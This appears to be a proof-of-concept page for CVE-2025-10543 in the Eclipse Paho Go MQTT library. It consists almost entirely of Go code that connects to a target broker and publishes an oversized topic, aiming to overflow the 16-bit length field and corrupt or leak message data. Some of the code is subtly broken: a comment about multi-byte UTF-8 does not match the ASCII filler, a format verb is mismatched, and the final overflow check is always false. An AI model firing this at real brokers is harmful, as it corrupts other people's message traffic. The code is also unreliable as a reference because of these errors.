CVE-2025-10543 Eclipse Paho Go MQTT 缓冲区整数溢出漏洞

package main import ( "fmt" MQTT "github.com/eclipse/paho.mqtt.golang" "time" ) // CVE-2025-10543 PoC: Trigger integer overflow with oversized UTF-8 string // This PoC demonstrates sending an MQTT PUBLISH packet with a topic exceeding 65535 bytes // to trigger the int16 overflow in length field encoding func main() { opts := MQTT.NewClientOptions() opts.AddBroker("tcp://target:1883") opts.SetClientID("poc-client") client := MQTT.NewClient(opts) if token := client.Connect(); token.Wait() && token.Error() != nil { panic(token.Error()) } // Create a topic string exceeding 65535 bytes (65536+ bytes) // This triggers int16 overflow when encoding the length field oversizedTopic := generateOversizedUTF8String(65536) // Message content that will leak into the topic field due to overflow messageBody := "SENSITIVE_DATA_LEAK" // Publish with oversized topic - will cause data corruption token = client.Publish(oversizedTopic, 0, false, messageBody) token.Wait() fmt.Printf("Published message with oversized topic (%d bytes)\n", len(oversizedTopic)) client.Disconnect(250) } // Generate UTF-8 string exceeding 65535 bytes func generateOversizedUTF8String(size int) string { // Use multi-byte UTF-8 characters to reach target size efficiently result := make([]byte, size) for i := range result { result[i] = 'A' // Single byte ASCII, easy to control size } return string(result) } // Alternative: Direct packet manipulation to demonstrate the overflow func demonstrateOverflow() { // int64 length value length := int64(70000) // Simulate unsafe conversion to int16 (what the vulnerable code does) // In Go: int16(length) truncates the high bits truncatedLength := int16(length) fmt.Printf("Original length: %d (0x%x)\n", length, length) fmt.Printf("Truncated length (int16): %d (0x%x)\n", truncatedLength, uint16(truncatedLength)) fmt.Printf("Overflow occurred: %s\n", length > 65535 && truncatedLength != int16(length)) }